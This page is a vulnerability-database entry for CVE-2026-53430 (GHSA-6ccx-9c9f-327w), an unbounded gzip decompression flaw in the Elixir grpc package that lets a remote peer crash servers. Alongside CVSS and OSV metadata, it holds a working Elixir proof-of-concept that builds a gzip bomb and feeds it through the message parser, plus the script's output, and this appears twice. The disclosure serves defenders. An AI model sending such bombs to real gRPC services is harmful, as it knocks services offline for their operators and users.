          "privilegesRequired": "NONE",
          "providerUrgency": "NOT_DEFINED",
          "subAvailabilityImpact": "NONE",
          "subConfidentialityImpact": "NONE",
          "subIntegrityImpact": "NONE",
          "userInteraction": "NONE",
          "valueDensity": "NOT_DEFINED",
          "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
          "version": "4.0",
          "vulnAvailabilityImpact": "HIGH",
          "vulnConfidentialityImpact": "NONE",
          "vulnIntegrityImpact": "NONE",
          "vulnerabilityResponseEffort": "NOT_DEFINED"
        },
        "source": "6b3ad84c-e1a6-4bf7-a703-f496b71e49db",
        "type": "Secondary"
      }
    ],
    "ssvcV203": [
      {
        "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
        "ssvcData": {
          "id": "CVE-2026-53430",
          "options": [
            {
              "exploitation": "poc"
            },
            {
              "automatable": "yes"
            },
            {
              "technicalImpact": "partial"
            }
          ],
          "role": "CISA Coordinator",
          "timestamp": "2026-06-16T14:42:39.467618Z",
          "version": "2.0.3"
        }
      }
    ]
  },
  "published": "2026-06-15T23:16:46.363",
  "references": [
    {
      "source": "6b3ad84c-e1a6-4bf7-a703-f496b71e49db",
      "url": "https://cna.erlef.org/cves/CVE-2026-53430.html"
    },
    {
      "source": "6b3ad84c-e1a6-4bf7-a703-f496b71e49db",
      "url": "https://github.com/elixir-grpc/grpc/commit/1afbab9d57d2a3e16ca9c62ffa4923338ea96cfc"
    },
    {
      "source": "6b3ad84c-e1a6-4bf7-a703-f496b71e49db",
      "url": "https://github.com/elixir-grpc/grpc/security/advisories/GHSA-6ccx-9c9f-327w"
    },
    {
      "source": "6b3ad84c-e1a6-4bf7-a703-f496b71e49db",
      "url": "https://osv.dev/vulnerability/EEF-CVE-2026-53430"
    },
    {
      "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
      "url": "https://github.com/elixir-grpc/grpc/security/advisories/GHSA-6ccx-9c9f-327w"
    }
  ],
  "sourceIdentifier": "6b3ad84c-e1a6-4bf7-a703-f496b71e49db",
  "vulnStatus": "Deferred",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-409"
        }
      ],
      "source": "6b3ad84c-e1a6-4bf7-a703-f496b71e49db",
      "type": "Secondary"
    }
  ]
}

GHSA-6CCX-9C9F-327W

Vulnerability from github – Published: 2026-08-25 18:12 – Updated: 2026-08-25 18:12

Summary

gRPC Erlang package has unbounded gzip decompression (decompression bomb)

Details

Summary

An unauthenticated remote peer can crash any gRPC server built on this library by sending a small gzip-compressed frame that decompresses to gigabytes, exhausting the BEAM node's heap and triggering an OOM kill (denial of service).

Introduced in https://github.com/elixir-grpc/grpc/commit/beae6800fc8baf126f3fe7107d86a50e105275ba

Details

GRPC.Compressor.Gzip.decompress/1 (lib/grpc/compressor/gzip.ex:12-14) calls :zlib.gunzip/1 directly on attacker-controlled bytes with no size limit, no ratio check, and no incremental decoding. Because this module is registered as a GRPC.Compressor implementation, it is invoked automatically whenever an incoming gRPC frame carries grpc-encoding: gzip. :zlib.gunzip/1 allocates the entire decompressed result as a single binary before returning, so a highly compressible payload (e.g. a few kilobytes of zeros, which gzip compresses at roughly 1000:1) expands to multiple gigabytes inside a single function call. The server's max_receive_message_length is enforced only against the already-decompressed message, so it provides no protection here. A single request is sufficient to OOM-kill the node.

PoC

A script that verifies the vulnerability is attached to the end of this report. Run it against a stock gRPC server using this library; the BEAM node's memory usage will balloon and the VM will be OOM-killed after a single request.

Impact

This is a decompression bomb / denial-of-service vulnerability. Any service that exposes a gRPC endpoint built on this library and accepts gzip-compressed requests is affected. No authentication, prior state, or special configuration is required — the attacker only needs to be able to reach the gRPC port and send a single crafted frame with grpc-encoding: gzip.

Scripts and Logs

# Verifies: Unbounded gzip decompression (decompression bomb)

Mix.install([{:grpc, "~> 0.9"}])

# Build a gzip bomb: 200 MB of zeros compresses to roughly a few hundred KB.
uncompressed_size = 200 * 1024 * 1024
bomb_payload = :zlib.gzip(:binary.copy(<<0>>, uncompressed_size))

# Wrap the bomb in a gRPC length-prefixed frame with the "compressed" flag (1)
# set. This is the exact wire shape an outside peer would put on the socket
# for a `grpc-encoding: gzip` message.
frame =
  <<1, byte_size(bomb_payload)::unsigned-integer-32, bomb_payload::binary>>

IO.puts(
  "Compressed bomb: #{byte_size(bomb_payload)} bytes -> claims to expand to #{uncompressed_size} bytes"
)

:erlang.garbage_collect()
mem_before = :erlang.memory(:total)
IO.puts("Memory before: #{div(mem_before, 1024 * 1024)} MB")

# Public entry point: GRPC.Message.from_data/2 is what the server's request
# handling pipeline calls with the raw bytes pulled off an incoming HTTP/2
# DATA frame, once it has resolved the encoding header to a compressor module.
# An outside attacker controls `frame`; the library is the trust boundary.
{:ok, decompressed} =
  GRPC.Message.from_data(%{compressor: GRPC.Compressor.Gzip}, frame)

mem_after = :erlang.memory(:total)
IO.puts("Memory after:  #{div(mem_after, 1024 * 1024)} MB")
IO.puts("Delta:         #{div(mem_after - mem_before, 1024 * 1024)} MB")
IO.puts("Decompressed binary size: #{byte_size(decompressed)} bytes")

amplification = byte_size(decompressed) / byte_size(bomb_payload)
IO.puts("Amplification ratio: ~#{Float.round(amplification, 1)}x")

if byte_size(decompressed) == uncompressed_size do
  IO.puts(
    "VERIFIED: GRPC.Message.from_data/2 fully expanded the gzip bomb with no size cap, growing heap by ~#{div(mem_after - mem_before, 1024 * 1024)} MB from a #{div(byte_size(bomb_payload), 1024)} KB attacker payload."
  )
else
  IO.puts("NOT VERIFIED: decompressed size did not match expected payload")
end

Compressed bomb: 203860 bytes -> claims to expand to 209715200 bytes
Memory before: 45 MB
Memory after:  403 MB
Delta:         358 MB
Decompressed binary size: 209715200 bytes
Amplification ratio: ~1028.7x
VERIFIED: GRPC.Message.from_data/2 fully expanded the gzip bomb with no size cap, growing heap by ~358 MB from a 199 KB attacker payload.

Severity

8.7 (High)


                  
                    CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "Hex",
        "name": "grpc"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.4.0"
            },
            {
              "fixed": "1.0.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-53430"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-409"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-08-25T18:12:58Z",
    "nvd_published_at": "2026-06-15T23:16:46Z",
    "severity": "HIGH"
  },
  "details": "### Summary\nAn unauthenticated remote peer can crash any gRPC server built on this library by sending a small gzip-compressed frame that decompresses to gigabytes, exhausting the BEAM node\u0027s heap and triggering an OOM kill (denial of service).\n\nIntroduced in https://github.com/elixir-grpc/grpc/commit/beae6800fc8baf126f3fe7107d86a50e105275ba\n\n### Details\n`GRPC.Compressor.Gzip.decompress/1` (lib/grpc/compressor/gzip.ex:12-14) calls `:zlib.gunzip/1` directly on attacker-controlled bytes with no size limit, no ratio check, and no incremental decoding. Because this module is registered as a `GRPC.Compressor` implementation, it is invoked automatically whenever an incoming gRPC frame carries `grpc-encoding: gzip`. `:zlib.gunzip/1` allocates the entire decompressed result as a single binary before returning, so a highly compressible payload (e.g. a few kilobytes of zeros, which gzip compresses at roughly 1000:1) expands to multiple gigabytes inside a single function call. The server\u0027s `max_receive_message_length` is enforced only against the already-decompressed message, so it provides no protection here. A single request is sufficient to OOM-kill the node.\n\n### PoC\nA script that verifies the vulnerability is attached to the end of this report. Run it against a stock gRPC server using this library; the BEAM node\u0027s memory usage will balloon and the VM will be OOM-killed after a single request.\n\n### Impact\nThis is a decompression bomb / denial-of-service vulnerability. Any service that exposes a gRPC endpoint built on this library and accepts gzip-compressed requests is affected. No authentication, prior state, or special configuration is required \u2014 the attacker only needs to be able to reach the gRPC port and send a single crafted frame with `grpc-encoding: gzip`.\n\n## Scripts and Logs\n\n```elixir\n# Verifies: Unbounded gzip decompression (decompression bomb)\n\nMix.install([{:grpc, \"~\u003e 0.9\"}])\n\n# Build a gzip bomb: 200 MB of zeros compresses to roughly a few hundred KB.\nuncompressed_size = 200 * 1024 * 1024\nbomb_payload = :zlib.gzip(:binary.copy(\u003c\u003c0\u003e\u003e, uncompressed_size))\n\n# Wrap the bomb in a gRPC length-prefixed frame with the \"compressed\" flag (1)\n# set. This is the exact wire shape an outside peer would put on the socket\n# for a `grpc-encoding: gzip` message.\nframe =\n  \u003c\u003c1, byte_size(bomb_payload)::unsigned-integer-32, bomb_payload::binary\u003e\u003e\n\nIO.puts(\n  \"Compressed bomb: #{byte_size(bomb_payload)} bytes -\u003e claims to expand to #{uncompressed_size} bytes\"\n)\n\n:erlang.garbage_collect()\nmem_before = :erlang.memory(:total)\nIO.puts(\"Memory before: #{div(mem_before, 1024 * 1024)} MB\")\n\n# Public entry point: GRPC.Message.from_data/2 is what the server\u0027s request\n# handling pipeline calls with the raw bytes pulled off an incoming HTTP/2\n# DATA frame, once it has resolved the encoding header to a compressor module.\n# An outside attacker controls `frame`; the library is the trust boundary.\n{:ok, decompressed} =\n  GRPC.Message.from_data(%{compressor: GRPC.Compressor.Gzip}, frame)\n\nmem_after = :erlang.memory(:total)\nIO.puts(\"Memory after:  #{div(mem_after, 1024 * 1024)} MB\")\nIO.puts(\"Delta:         #{div(mem_after - mem_before, 1024 * 1024)} MB\")\nIO.puts(\"Decompressed binary size: #{byte_size(decompressed)} bytes\")\n\namplification = byte_size(decompressed) / byte_size(bomb_payload)\nIO.puts(\"Amplification ratio: ~#{Float.round(amplification, 1)}x\")\n\nif byte_size(decompressed) == uncompressed_size do\n  IO.puts(\n    \"VERIFIED: GRPC.Message.from_data/2 fully expanded the gzip bomb with no size cap, growing heap by ~#{div(mem_after - mem_before, 1024 * 1024)} MB from a #{div(byte_size(bomb_payload), 1024)} KB attacker payload.\"\n  )\nelse\n  IO.puts(\"NOT VERIFIED: decompressed size did not match expected payload\")\nend\n```\n\n```logs\nCompressed bomb: 203860 bytes -\u003e claims to expand to 209715200 bytes\nMemory before: 45 MB\nMemory after:  403 MB\nDelta:         358 MB\nDecompressed binary size: 209715200 bytes\nAmplification ratio: ~1028.7x\nVERIFIED: GRPC.Message.from_data/2 fully expanded the gzip bomb with no size cap, growing heap by ~358 MB from a 199 KB attacker payload.\n```",
  "id": "GHSA-6ccx-9c9f-327w",
  "modified": "2026-08-25T18:12:58Z",
  "published": "2026-08-25T18:12:58Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/elixir-grpc/grpc/security/advisories/GHSA-6ccx-9c9f-327w"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-53430"
    },
    {
      "type": "WEB",
      "url": "https://github.com/elixir-grpc/grpc/pull/543"
    },
    {
      "type": "WEB",
      "url": "https://github.com/elixir-grpc/grpc/commit/1afbab9d57d2a3e16ca9c62ffa4923338ea96cfc"
    },
    {
      "type": "WEB",
      "url": "https://cna.erlef.org/cves/CVE-2026-53430.html"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/elixir-grpc/grpc"
    },
    {
      "type": "WEB",
      "url": "https://github.com/elixir-grpc/grpc/releases/tag/v1.0.0"
    },
    {
      "type": "WEB",
      "url": "https://osv.dev/vulnerability/EEF-CVE-2026-53430"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "gRPC Erlang package has unbounded gzip decompression (decompression bomb)"
}

Sightings

Author	Source	Type	Date	Other

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Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.

Action not permitted

CVE-2026-53430 (GCVE-0-2026-53430)

BDU:2026-08312 (CVE-2026-53430)

FKIE_CVE-2026-53430

GHSA-6CCX-9C9F-327W

Summary

Details

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Impact

Scripts and Logs

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